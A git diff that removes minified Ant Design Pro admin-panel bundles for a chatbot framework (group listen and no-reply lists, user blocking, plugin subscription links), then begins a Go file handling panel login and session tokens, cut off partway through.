o;t==null||(o=t.startEditable)===null||o===void 0||o.call(t,_.id)},children:"\u7F16\u8F91"},"editable"),(0,s.jsx)("a",{onClick:function(){v(d.filter(function(l){return l.id!==_.id}));var o={};o[E+"."+_.id]="",(0,M.Z)({values:o})},children:"\u5220\u9664"},"delete")]}}];return(0,s.jsxs)(U._z,{children:[(0,s.jsx)(W.Z,{style:{marginBottom:"10px"},message:"\u5B89\u5168\u8D77\u89C1\uFF0C\u7FA4\u804A\u6D88\u606F\u9ED8\u8BA4\u4E0D\u4F1A\u88AB\u76D1\u542C\u5904\u7406\uFF0C\u4F60\u53EF\u4EE5\u5728\u8FD9\u91CC\u6DFB\u52A0\u4F60\u60F3\u8981\u63A5\u6536\u5904\u7406\u6D88\u606F\u7684\u7FA4\u804A\uFF0C\u4E5F\u53EF\u4EE5\u76F4\u63A5\u5728\u7FA4\u804A\u4E2D\u4F7F\u7528listen\u548Cunlisten\u5F00\u542F\u548C\u5173\u95ED\u3002",type:"info",closeText:"\u5173\u95ED"}),(0,s.jsx)(L.Z,{rowKey:"id",maxLength:1005,scroll:{x:960},recordCreatorProps:P!=="hidden"?{position:P,record:function(){return{id:""+(Math.random()*1e6).toFixed(0)}}}:!1,loading:!1,toolBarRender:function(){return[(0,s.jsx)(j.Z.Group,{fieldProps:{value:P,onChange:function(_){z(_.target.value)}},options:[{label:"\u6DFB\u52A0\u5230\u9876\u90E8",value:"top"},{label:"\u6DFB\u52A0\u5230\u5E95\u90E8",value:"bottom"},{label:"\u9690\u85CF",value:"hidden"}]},"render")]},columns:H,value:d,onChange:v,editable:{type:"multiple",editableKeys:G,onSave:function(){var n=R()(O()().mark(function _(u,t){var r;return O()().wrap(function(l){for(;;)switch(l.prev=l.next){case 0:r={},u!=t.id&&(r[E+"."+u]=""),r[E+"."+t.id]=JSON.stringify(t),(0,M.Z)({values:r}),v(d.map(function(F){return F.id==u?t:F}));case 5:case"end":return l.stop()}},_)}));function a(_,u){return n.apply(this,arguments)}return a}(),onChange:$}})]})}}}]);
|
||||
@@ -1 +0,0 @@
|
||||
"use strict";(self.webpackChunkant_design_pro=self.webpackChunkant_design_pro||[]).push([[81],{38146:function(Q,D,e){e.r(D);var B=e(25359),A=e.n(B),R=e(49811),T=e.n(R),I=e(54306),m=e.n(I),x=e(25367),K=e(34316),O=e(87474),U=e(12472),L=e(6849),j=e(64619),f=e(86195),S=e(833),W=e(46370),p=e(50959),l=e(11527),E="noReplyGroups";D.default=function(){var C,Z=(0,p.useState)([]),M=m()(Z,2),G=M[0],$=M[1],J=(0,p.useState)([{id:"empty"}]),g=m()(J,2),d=g[0],v=g[1],N=(0,p.useState)("bottom"),h=m()(N,2),c=h[0],z=h[1],P=(0,f.useRequest)(function(){return(0,f.request)("/api/storage",{params:{keys:[E].join(",")}})}),y=P.data,V=P.error,w=P.loading;if(w)return(0,l.jsx)(x.Z,{});if(V)return(0,K.Z)(),null;if(((C=d[0])===null||C===void 0?void 0:C.id)=="empty"){var F=[],i=Object.keys(y).map(function(_){var a=_.split(".")[1];F.push("nickname."+a);try{_=JSON.parse(y[_])}catch(n){_={}}return _.id=a,_});(0,f.request)("/api/storage",{params:{keys:F.join(",")}}).then(function(_){if(_.data)for(var a in _.data){var n=a.split(".")[1];for(var t in i)if(i[t].id==n)try{var u=JSON.parse(_.data[a]),r=u.v,o=u.p;r&&(i[t].nickname=r,i[t].platform=o)}catch(s){}}v(i)})}var H=[{title:"\u7FA4\u53F7",dataIndex:"id",width:"15%"},{title:"\u7FA4\u79F0",dataIndex:"nickname",width:"15%",readonly:!0},{title:"\u5E73\u53F0",width:"15%",dataIndex:"platform",valueType:"select",readonly:!0},{title:"\u5907\u6CE8",dataIndex:"decs",fieldProps:function(a,n){var t=n.rowKey,u=n.rowIndex;return a.getFieldValue([t||"","title"])==="\u4E0D\u597D\u73A9"?{disabled:!0}:u>9?{disabled:!0}:{}}},{title:"\u72B6\u6001",dataIndex:"enable",valueType:"switch",width:"10%",render:function(a,n){var t;return(0,l.jsx)(S.Z,{disabled:!0,defaultChecked:(t=d.find(function(u){return u.id==n.id}))===null||t===void 0?void 0:t.enable})}},{title:"\u64CD\u4F5C",valueType:"option",width:200,render:function(a,n,t,u){return[(0,l.jsx)("a",{onClick:function(){var o;u==null||(o=u.startEditable)===null||o===void 0||o.call(u,n.id)},children:"\u7F16\u8F91"},"editable"),(0,l.jsx)("a",{onClick:function(){v(d.filter(function(s){return s.id!==n.id}));var o={};o[E+"."+n.id]="",(0,O.Z)({values:o})},children:"\u5220\u9664"},"delete")]}}];return(0,l.jsxs)(U._z,{children:[(0,l.jsx)(W.Z,{style:{marginBottom:"10px"},message:"\u9ED8\u8BA4\u6D88\u606F\u88AB\u5904\u7406\u662F\u53EF\u4EE5\u505A\u51FA\u56DE\u590D\u7684\uFF0C\u5982\u679C\u4F60\u5E0C\u671B\u673A\u5668\u4EBA\u53EA\u5728\u7FA4\u804A\u4E2D\u76D1\u542C\u6D88\u606F\uFF0C\u62C5\u5FC3\u5728\u7FA4\u91CC\u81EA\u52A8\u53D1\u8A00\u800C\u66B4\u9732\u88AB\u8E22\u5C31\u53EF\u4EE5\u628A\u7FA4\u804A\u52A0\u5165\u5230\u8FD9\u91CC\uFF0C\u4E5F\u53EF\u4EE5\u76F4\u63A5\u5728\u7FA4\u804A\u4E2D\u4F7F\u7528reply\u548Cnoreply\u5F00\u542F\u548C\u5173\u95ED\u3002",type:"info",closeText:"\u5173\u95ED"}),(0,l.jsx)(L.Z,{rowKey:"id",maxLength:1005,scroll:{x:960},recordCreatorProps:c!=="hidden"?{position:c,record:function(){return{id:""+(Math.random()*1e6).toFixed(0)}}}:!1,loading:!1,toolBarRender:function(){return[(0,l.jsx)(j.Z.Group,{fieldProps:{value:c,onChange:function(n){z(n.target.value)}},options:[{label:"\u6DFB\u52A0\u5230\u9876\u90E8",value:"top"},{label:"\u6DFB\u52A0\u5230\u5E95\u90E8",value:"bottom"},{label:"\u9690\u85CF",value:"hidden"}]},"render")]},columns:H,value:d,onChange:v,editable:{type:"multiple",editableKeys:G,onSave:function(){var _=T()(A()().mark(function n(t,u){var r;return A()().wrap(function(s){for(;;)switch(s.prev=s.next){case 0:r={},t!=u.id&&(r[E+"."+t]=""),r[E+"."+u.id]=JSON.stringify(u),(0,O.Z)({values:r}),v(d.map(function(b){return b.id==t?u:b}));case 5:case"end":return s.stop()}},n)}));function a(n,t){return _.apply(this,arguments)}return a}(),onChange:$}})]})}}}]);
|
||||
@@ -1 +0,0 @@
|
||||
"use strict";(self.webpackChunkant_design_pro=self.webpackChunkant_design_pro||[]).push([[538],{29620:function(Q,D,e){e.r(D);var I=e(25359),O=e.n(I),R=e(49811),U=e.n(R),x=e(54306),m=e.n(x),B=e(25367),K=e(34316),M=e(87474),L=e(12472),j=e(6849),S=e(64619),f=e(86195),W=e(833),F=e(46370),c=e(50959),s=e(11527),E="noListenUsers";D.default=function(){var p,Z=(0,c.useState)([]),g=m()(Z,2),G=g[0],$=g[1],J=(0,c.useState)([{id:"empty"}]),h=m()(J,2),d=h[0],v=h[1],N=(0,c.useState)("bottom"),y=m()(N,2),P=y[0],z=y[1],C=(0,f.useRequest)(function(){return(0,f.request)("/api/storage",{params:{keys:[E].join(",")}})}),b=C.data,V=C.error,w=C.loading;if(w)return(0,s.jsx)(B.Z,{});if(V)return(0,K.Z)(),null;if(((p=d[0])===null||p===void 0?void 0:p.id)=="empty"){var A=[],i=Object.keys(b).map(function(n){var u=n.split(".")[1];A.push("nickname."+u);try{n=JSON.parse(b[n])}catch(_){n={}}return n.id=u,n});(0,f.request)("/api/storage",{params:{keys:A.join(",")}}).then(function(n){if(n.data)for(var u in n.data){var _=u.split(".")[1];for(var a in i)if(i[a].id==_)try{var t=JSON.parse(n.data[u]),r=t.v,o=t.p;r&&(i[a].nickname=r,i[a].platform=o)}catch(l){}}v(i)})}var H=[{title:"\u8D26\u53F7",dataIndex:"id",width:"15%"},{title:"\u6635\u79F0",dataIndex:"nickname",width:"15%",readonly:!0},{title:"\u5E73\u53F0",width:"15%",dataIndex:"platform",valueType:"select",readonly:!0},{title:"\u5907\u6CE8",dataIndex:"decs",fieldProps:function(u,_){var a=_.rowKey,t=_.rowIndex;return u.getFieldValue([a||"","title"])==="\u4E0D\u597D\u73A9"?{disabled:!0}:t>9?{disabled:!0}:{}}},{title:"\u72B6\u6001",dataIndex:"enable",valueType:"switch",width:"10%",render:function(u,_){var a;return(0,s.jsx)(W.Z,{disabled:!0,defaultChecked:(a=d.find(function(t){return t.id==_.id}))===null||a===void 0?void 0:a.enable})}},{title:"\u64CD\u4F5C",valueType:"option",width:200,render:function(u,_,a,t){return[(0,s.jsx)("a",{onClick:function(){var o;t==null||(o=t.startEditable)===null||o===void 0||o.call(t,_.id)},children:"\u7F16\u8F91"},"editable"),(0,s.jsx)("a",{onClick:function(){v(d.filter(function(l){return l.id!==_.id}));var o={};o[E+"."+_.id]="",(0,M.Z)({values:o})},children:"\u5220\u9664"},"delete")]}}];return(0,s.jsxs)(L._z,{children:[(0,s.jsx)(F.Z,{style:{marginBottom:"10px"},message:"\u9ED8\u8BA4\u76D1\u542C\u56DE\u590D\u6240\u6709\u79C1\u804A\uFF0C\u4F7F\u7528unlisten\u53E3\u4EE4\u5C4F\u853D\u79C1\u804A\uFF0Clisten\u53E3\u4EE4\u6062\u590D\u79C1\u804A\u3002\u7528\u6237\u88AB\u5C4F\u853D\u540E\u5C06\u4E0D\u518D\u63A5\u6536\u6709\u5173\u7528\u6237\u7684\u4EFB\u4F55\u6D88\u606F\u3002",type:"info",closeText:"\u5173\u95ED"}),(0,s.jsx)(j.Z,{rowKey:"id",maxLength:1005,scroll:{x:960},recordCreatorProps:P!=="hidden"?{position:P,record:function(){return{id:""+(Math.random()*1e6).toFixed(0)}}}:!1,loading:!1,toolBarRender:function(){return[(0,s.jsx)(S.Z.Group,{fieldProps:{value:P,onChange:function(_){z(_.target.value)}},options:[{label:"\u6DFB\u52A0\u5230\u9876\u90E8",value:"top"},{label:"\u6DFB\u52A0\u5230\u5E95\u90E8",value:"bottom"},{label:"\u9690\u85CF",value:"hidden"}]},"render")]},columns:H,value:d,onChange:v,editable:{type:"multiple",editableKeys:G,onSave:function(){var n=U()(O()().mark(function _(a,t){var r;return O()().wrap(function(l){for(;;)switch(l.prev=l.next){case 0:r={},a!=t.id&&(r[E+"."+a]=""),r[E+"."+t.id]=JSON.stringify(t),(0,M.Z)({values:r}),v(d.map(function(T){return T.id==a?t:T}));case 5:case"end":return l.stop()}},_)}));function u(_,a){return n.apply(this,arguments)}return u}(),onChange:$}})]})}}}]);
|
||||
@@ -1 +0,0 @@
|
||||
"use strict";(self.webpackChunkant_design_pro=self.webpackChunkant_design_pro||[]).push([[737],{34316:function(W,o,_){var v=_(86195),r=_(21362),c=function(){r.ZP.warning("\u767B\u5F55\u5931\u6548\uFF01",2);var s=new URL(window.location.href).searchParams,i=s.get("redirect");window.location.pathname!=="/user/login"&&!i&&v.history.replace({pathname:"/user/login"})};o.Z=c},55324:function(W,o,_){_.r(o);var v=_(25359),r=_.n(v),c=_(49811),f=_.n(c),s=_(54306),i=_.n(s),L=_(34316),A=_(87474),C=_(77121),l=_(12472),p=_(78434),h=_.n(p),u=_(86195),d=_(21137),m=_(21362),O=_(68243),t=_(28964),D=_(31255),U=_(26572),Z=_(50959),e=_(11527),R=d.Z.Option,n="\u6211\u7684\u63D2\u4EF6\u7F51\u7AD9.com",E="\u52A0\u5BC6\u8BA2\u9605\u94FE\u63A5",M="http://",T=n,S=function(B){var a=document.createElement("textarea");a.value=B,a.setAttribute("readOnly","true"),document.body.appendChild(a),a.select(),document.execCommand("Copy"),a.className="oInput",a.style.display="none",a.style.opacity="0"},N=function(){var B=(0,Z.useState)(E),a=i()(B,2),I=a[0],x=a[1],j=(0,u.useRequest)(function(){return(0,u.request)("/api/storage",{params:{keys:["sillyGirl.plugin_sublink"].join(",")}})}),z=j.data,F=j.error,H=j.loading,G=function(){var b=f()(r()().mark(function P(){var y,K;return r()().wrap(function(g){for(;;)switch(g.prev=g.next){case 0:return g.next=2,(0,A.Z)({values:{"sillyGirl.plugin_sublink":M+T}});case 2:y=g.sent,K=y==null?void 0:y.messages["sillyGirl.plugin_sublink"],K&&(x(K),m.ZP.info("\u5DF2\u751F\u6210\u8BA2\u9605\u94FE\u63A5\u3002"));case 5:case"end":return g.stop()}},P)}));return function(){return b.apply(this,arguments)}}();if(H)return(0,e.jsx)(p.Loading,{});if(F)return(0,L.Z)(),null;if(I==E){var $=z["sillyGirl.plugin_sublink"];$&&x($)}return(0,e.jsxs)(l._z,{children:[(0,e.jsx)(O.Z,{children:(0,e.jsx)(t.Z,{onChange:function(P){T=P.target.value,G()},addonBefore:(0,e.jsxs)(d.Z,{onSelect:function(P){M=P,G()},defaultValue:M,className:"select-before",children:[(0,e.jsx)(R,{value:"http://",children:"http://"}),(0,e.jsx)(R,{value:"https://",children:"https://"})]}),defaultValue:n})}),(0,e.jsx)("br",{})," ",(0,e.jsx)("br",{}),(0,e.jsxs)(t.Z.Group,{compact:!0,children:[(0,e.jsx)(t.Z,{style:{width:"calc(300px)"},disabled:!0,value:I}),(0,e.jsx)(D.Z,{children:(0,e.jsx)(U.ZP,{onClick:function(){S(I),m.ZP.info("\u590D\u5236\u6210\u529F\u3002",1)},icon:(0,e.jsx)(C.Z,{})})})]})]})};o.default=N},87474:function(W,o,_){var v=_(25359),r=_.n(v),c=_(49811),f=_.n(c),s=_(21362),i=_(86195),L=function(){var A=f()(r()().mark(function C(l){var p,h,u,d,m,O,t,D,U;return r()().wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return p=l.values,h=l.loading,u=h===void 0?"\u6B63\u5728\u63D0\u4EA4\u66F4\u6539..":h,d=l.success,m=d===void 0?"\u63D0\u4EA4\u6210\u529F\uFF01":d,O=l.fail,t=O===void 0?"\u63D0\u4EA4\u5931\u8D25":O,D=l.params,U=D===void 0?{}:D,u&&s.ZP.loading(u,2e4),e.abrupt("return",new Promise(function(R){(0,i.request)("/api/storage",{params:U,method:"put",data:p}).then(function(n){var E;if(s.ZP.destroy(),(n==null||(E=n.data)===null||E===void 0?void 0:E.isLogin)==!1){s.ZP.warning("\u767B\u5F55\u5931\u6548\uFF01",2);var M=new URL(window.location.href).searchParams,T=M.get("redirect");window.location.pathname!=="/user/login"&&!T&&i.history.replace({pathname:"/user/login"});return}n!=null&&n.success?m&&s.ZP.success(m,1):t&&s.ZP.warning(t,2),R(n)})}));case 3:case"end":return e.stop()}},C)}));return function(l){return A.apply(this,arguments)}}();o.Z=L}}]);
|
||||
@@ -1 +0,0 @@
|
||||
a{text-decoration:none}
|
||||
File diff suppressed because one or more lines are too long
@@ -1 +0,0 @@
|
||||
"use strict";(self.webpackChunkant_design_pro=self.webpackChunkant_design_pro||[]).push([[145],{34316:function(C,o,_){var u=_(86195),t=_(21362),d=function(){t.ZP.warning("\u767B\u5F55\u5931\u6548\uFF01",2);var e=new URL(window.location.href).searchParams,n=e.get("redirect");window.location.pathname!=="/user/login"&&!n&&u.history.replace({pathname:"/user/login"})};o.Z=d},21503:function(C,o,_){_.r(o);var u=_(34316),t=_(87474),d=_(12472),m=_(78434),e=_.n(m),n=_(86195),D=_(28964),i=_(11527),c=D.Z.TextArea,a="sillyGirl.plugin_subcribe_addresses",f=function(){var s=(0,n.useRequest)(function(){return(0,n.request)("/api/storage",{params:{keys:[a].join(",")}})}),l=s.data,P=s.error,E=s.loading;return E?(0,i.jsx)(m.Loading,{}):P?((0,u.Z)(),null):(0,i.jsxs)(d._z,{children:[(0,i.jsx)(c,{rows:4,onChange:function(v){var g={};g[a]=v.target.value,(0,t.Z)({values:g})},defaultValue:l[a]?l[a]:"",placeholder:"sub://T4EywWN46ztYBhHNdOl6ToiHi7qXH2cnKFZUdP2NlO2dkxtUT8gl82IjCRFQ5Ts1KyGq1tY9M+BYBeHloaIPKoFaB6JJ4YcuHBM+Hj+UmC1k0jCmJ2fG6ZwAaIhwurm8"}),(0,i.jsx)("br",{})]})};o.default=f},87474:function(C,o,_){var u=_(25359),t=_.n(u),d=_(49811),m=_.n(d),e=_(21362),n=_(86195),D=function(){var i=m()(t()().mark(function c(a){var f,p,s,l,P,E,M,v,g;return t()().wrap(function(O){for(;;)switch(O.prev=O.next){case 0:return f=a.values,p=a.loading,s=p===void 0?"\u6B63\u5728\u63D0\u4EA4\u66F4\u6539..":p,l=a.success,P=l===void 0?"\u63D0\u4EA4\u6210\u529F\uFF01":l,E=a.fail,M=E===void 0?"\u63D0\u4EA4\u5931\u8D25":E,v=a.params,g=v===void 0?{}:v,s&&e.ZP.loading(s,2e4),O.abrupt("return",new Promise(function(U){(0,n.request)("/api/storage",{params:g,method:"put",data:f}).then(function(r){var h;if(e.ZP.destroy(),(r==null||(h=r.data)===null||h===void 0?void 0:h.isLogin)==!1){e.ZP.warning("\u767B\u5F55\u5931\u6548\uFF01",2);var T=new URL(window.location.href).searchParams,L=T.get("redirect");window.location.pathname!=="/user/login"&&!L&&n.history.replace({pathname:"/user/login"});return}r!=null&&r.success?P&&e.ZP.success(P,1):M&&e.ZP.warning(M,2),U(r)})}));case 3:case"end":return O.stop()}},c)}));return function(a){return i.apply(this,arguments)}}();o.Z=D}}]);
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,5 +0,0 @@
|
||||
<svg width="42" height="42" xmlns="http://www.w3.org/2000/svg">
|
||||
<g>
|
||||
<path fill="#070707" d="m6.717392,13.773912l5.6,0c2.8,0 4.7,1.9 4.7,4.7c0,2.8 -2,4.7 -4.9,4.7l-2.5,0l0,4.3l-2.9,0l0,-13.7zm2.9,2.2l0,4.9l1.9,0c1.6,0 2.6,-0.9 2.6,-2.4c0,-1.6 -0.9,-2.4 -2.6,-2.4l-1.9,0l0,-0.1zm8.9,11.5l2.7,0l0,-5.7c0,-1.4 0.8,-2.3 2.2,-2.3c0.4,0 0.8,0.1 1,0.2l0,-2.4c-0.2,-0.1 -0.5,-0.1 -0.8,-0.1c-1.2,0 -2.1,0.7 -2.4,2l-0.1,0l0,-1.9l-2.7,0l0,10.2l0.1,0zm11.7,0.1c-3.1,0 -5,-2 -5,-5.3c0,-3.3 2,-5.3 5,-5.3s5,2 5,5.3c0,3.4 -1.9,5.3 -5,5.3zm0,-2.1c1.4,0 2.2,-1.1 2.2,-3.2c0,-2 -0.8,-3.2 -2.2,-3.2c-1.4,0 -2.2,1.2 -2.2,3.2c0,2.1 0.8,3.2 2.2,3.2z" class="st0" id="Ant-Design-Pro"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 677 B |
@@ -1,202 +0,0 @@
|
||||
/**
|
||||
* loading 占位
|
||||
* 解决首次加载时白屏的问题
|
||||
*/
|
||||
(function () {
|
||||
const _root = document.querySelector('#root');
|
||||
if (_root && _root.innerHTML === '') {
|
||||
_root.innerHTML = `
|
||||
<style>
|
||||
html,
|
||||
body,
|
||||
#root {
|
||||
height: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
#root {
|
||||
background-repeat: no-repeat;
|
||||
background-size: 100% auto;
|
||||
}
|
||||
|
||||
.loading-title {
|
||||
font-size: 1.1rem;
|
||||
}
|
||||
|
||||
.loading-sub-title {
|
||||
margin-top: 20px;
|
||||
font-size: 1rem;
|
||||
color: #888;
|
||||
}
|
||||
|
||||
.page-loading-warp {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 26px;
|
||||
}
|
||||
.ant-spin {
|
||||
position: absolute;
|
||||
display: none;
|
||||
-webkit-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
color: rgba(0, 0, 0, 0.65);
|
||||
color: #1890ff;
|
||||
font-size: 14px;
|
||||
font-variant: tabular-nums;
|
||||
line-height: 1.5;
|
||||
text-align: center;
|
||||
list-style: none;
|
||||
opacity: 0;
|
||||
-webkit-transition: -webkit-transform 0.3s
|
||||
cubic-bezier(0.78, 0.14, 0.15, 0.86);
|
||||
transition: -webkit-transform 0.3s
|
||||
cubic-bezier(0.78, 0.14, 0.15, 0.86);
|
||||
transition: transform 0.3s cubic-bezier(0.78, 0.14, 0.15, 0.86);
|
||||
transition: transform 0.3s cubic-bezier(0.78, 0.14, 0.15, 0.86),
|
||||
-webkit-transform 0.3s cubic-bezier(0.78, 0.14, 0.15, 0.86);
|
||||
-webkit-font-feature-settings: "tnum";
|
||||
font-feature-settings: "tnum";
|
||||
}
|
||||
|
||||
.ant-spin-spinning {
|
||||
position: static;
|
||||
display: inline-block;
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.ant-spin-dot {
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
font-size: 20px;
|
||||
}
|
||||
|
||||
.ant-spin-dot-item {
|
||||
position: absolute;
|
||||
display: block;
|
||||
width: 9px;
|
||||
height: 9px;
|
||||
background-color: #1890ff;
|
||||
border-radius: 100%;
|
||||
-webkit-transform: scale(0.75);
|
||||
-ms-transform: scale(0.75);
|
||||
transform: scale(0.75);
|
||||
-webkit-transform-origin: 50% 50%;
|
||||
-ms-transform-origin: 50% 50%;
|
||||
transform-origin: 50% 50%;
|
||||
opacity: 0.3;
|
||||
-webkit-animation: antspinmove 1s infinite linear alternate;
|
||||
animation: antSpinMove 1s infinite linear alternate;
|
||||
}
|
||||
|
||||
.ant-spin-dot-item:nth-child(1) {
|
||||
top: 0;
|
||||
left: 0;
|
||||
}
|
||||
|
||||
.ant-spin-dot-item:nth-child(2) {
|
||||
top: 0;
|
||||
right: 0;
|
||||
-webkit-animation-delay: 0.4s;
|
||||
animation-delay: 0.4s;
|
||||
}
|
||||
|
||||
.ant-spin-dot-item:nth-child(3) {
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
-webkit-animation-delay: 0.8s;
|
||||
animation-delay: 0.8s;
|
||||
}
|
||||
|
||||
.ant-spin-dot-item:nth-child(4) {
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
-webkit-animation-delay: 1.2s;
|
||||
animation-delay: 1.2s;
|
||||
}
|
||||
|
||||
.ant-spin-dot-spin {
|
||||
-webkit-transform: rotate(45deg);
|
||||
-ms-transform: rotate(45deg);
|
||||
transform: rotate(45deg);
|
||||
-webkit-animation: antrotate 1.2s infinite linear;
|
||||
animation: antRotate 1.2s infinite linear;
|
||||
}
|
||||
|
||||
.ant-spin-lg .ant-spin-dot {
|
||||
width: 32px;
|
||||
height: 32px;
|
||||
font-size: 32px;
|
||||
}
|
||||
|
||||
.ant-spin-lg .ant-spin-dot i {
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
}
|
||||
|
||||
@media all and (-ms-high-contrast: none), (-ms-high-contrast: active) {
|
||||
.ant-spin-blur {
|
||||
background: #fff;
|
||||
opacity: 0.5;
|
||||
}
|
||||
}
|
||||
|
||||
@-webkit-keyframes antSpinMove {
|
||||
to {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes antSpinMove {
|
||||
to {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
@-webkit-keyframes antRotate {
|
||||
to {
|
||||
-webkit-transform: rotate(405deg);
|
||||
transform: rotate(405deg);
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes antRotate {
|
||||
to {
|
||||
-webkit-transform: rotate(405deg);
|
||||
transform: rotate(405deg);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
<div style="
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100%;
|
||||
min-height: 362px;
|
||||
">
|
||||
<div class="page-loading-warp">
|
||||
<div class="ant-spin ant-spin-lg ant-spin-spinning">
|
||||
<span class="ant-spin-dot ant-spin-dot-spin">
|
||||
<i class="ant-spin-dot-item"></i>
|
||||
<i class="ant-spin-dot-item"></i>
|
||||
<i class="ant-spin-dot-item"></i>
|
||||
<i class="ant-spin-dot-item"></i>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="loading-title">
|
||||
正在加载资源
|
||||
</div>
|
||||
<div class="loading-sub-title">
|
||||
初次加载资源可能需要较多时间 请耐心等待
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
})();
|
||||
@@ -1 +0,0 @@
|
||||
@media screen and (max-width: 480px){.umi-plugin-layout-container{width:100%!important}.umi-plugin-layout-container>*{border-radius:0!important}}.umi-plugin-layout-menu .anticon{margin-right:8px}.umi-plugin-layout-menu .ant-dropdown-menu-item{min-width:160px}.umi-plugin-layout-right{display:flex!important;float:right;height:100%;margin-left:auto;overflow:hidden}.umi-plugin-layout-right .umi-plugin-layout-action{display:flex;align-items:center;height:100%;padding:0 12px;cursor:pointer;transition:all .3s}.umi-plugin-layout-right .umi-plugin-layout-action>i{color:#ffffffd9;vertical-align:middle}.umi-plugin-layout-right .umi-plugin-layout-action:hover{background:rgba(0,0,0,.025)}.umi-plugin-layout-right .umi-plugin-layout-action:global(.opened){background:rgba(0,0,0,.025)}.umi-plugin-layout-right .umi-plugin-layout-search{padding:0 12px}.umi-plugin-layout-right .umi-plugin-layout-search:hover{background:transparent}.umi-plugin-layout-name{margin-left:8px}
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,241 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/core/storage"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
var authBucket = MakeBucket("auths")
|
||||
var auths = []*Auth{}
|
||||
var password = ""
|
||||
|
||||
func init() {
|
||||
storage.Watch(sillyGirl, "name", func(old, new, key string) *storage.Final {
|
||||
if old == new {
|
||||
return &storage.Final{
|
||||
Error: errors.New("unchanged"),
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
authBucket.Foreach(func(b1, b2 []byte) error {
|
||||
auth := &Auth{}
|
||||
if json.Unmarshal(b2, auth) == nil {
|
||||
if math.Abs(float64(int(time.Now().Unix())-auth.CreatedAt)) < 86400 {
|
||||
auths = append(auths, auth)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
password = sillyGirl.GetString("password")
|
||||
var name = sillyGirl.GetString("name", "傻妞")
|
||||
// if password == "" {
|
||||
// password = utils.GenUUID()
|
||||
// console.Info("可视化面板临时账号密码:%s %s", name, password)
|
||||
// }
|
||||
storage.Watch(sillyGirl, "password", func(old, new, key string) *storage.Final {
|
||||
if new == "" {
|
||||
return &storage.Final{
|
||||
Now: new,
|
||||
}
|
||||
}
|
||||
password, _ = EncryptByAes([]byte(new))
|
||||
return &storage.Final{
|
||||
Now: password,
|
||||
}
|
||||
})
|
||||
storage.Watch(sillyGirl, "name", func(old, new, key string) *storage.Final {
|
||||
name = new
|
||||
return nil
|
||||
})
|
||||
///可视化部分
|
||||
GinApi(POST, "/api/login/account", func(ctx *gin.Context) {
|
||||
var auth = struct {
|
||||
Password string `json:"password"`
|
||||
Username string `json:"username"`
|
||||
}{}
|
||||
json.NewDecoder(ctx.Request.Body).Decode(&auth)
|
||||
epassword, _ := EncryptByAes([]byte(auth.Password))
|
||||
if (auth.Password == password || epassword == password) && auth.Username == name {
|
||||
token := utils.GenUUID()
|
||||
auth := &Auth{
|
||||
IP: ctx.ClientIP(),
|
||||
UserAgent: ctx.Request.UserAgent(),
|
||||
Token: token,
|
||||
CreatedAt: int(time.Now().Unix()),
|
||||
}
|
||||
authBucket.Create(auth)
|
||||
auths = append(auths, auth)
|
||||
console.Log("登录成功,当前有效令牌数%d,总数%d", len(ValidAuths()), len(auths))
|
||||
ctx.SetCookie("token", token, 86400, "/", "", false, true)
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"status": "ok",
|
||||
"type": "account",
|
||||
"currentAuthority": "admin",
|
||||
})
|
||||
} else {
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"status": "error",
|
||||
"type": "account",
|
||||
"currentAuthority": "guest",
|
||||
})
|
||||
}
|
||||
})
|
||||
GinApi(POST, "/api/login/outLogin", DestroyAuth, func(ctx *gin.Context) {
|
||||
sillyGirl.Set("web_token", "")
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
})
|
||||
})
|
||||
pluginNextUuid := sillyGirl.GetString("pluginNextUuid")
|
||||
if pluginNextUuid == "" {
|
||||
pluginNextUuid = utils.GenUUID()
|
||||
sillyGirl.Set("pluginNextUuid", pluginNextUuid)
|
||||
}
|
||||
GinApi(GET, "/api/currentUser", RequireAuth, func(ctx *gin.Context) {
|
||||
rs := []Route{}
|
||||
for _, f := range Functions {
|
||||
if f.UUID == pluginNextUuid {
|
||||
pluginNextUuid = utils.GenUUID()
|
||||
sillyGirl.Set("pluginNextUuid", pluginNextUuid)
|
||||
}
|
||||
if f.UUID != "" {
|
||||
name := f.Title
|
||||
if name == "" {
|
||||
name = "无名脚本"
|
||||
}
|
||||
if f.Module {
|
||||
name = name + " 🔧"
|
||||
}
|
||||
if f.OnStart {
|
||||
name = name + " 💫"
|
||||
}
|
||||
if f.Encrypt {
|
||||
name = name + " 🔒"
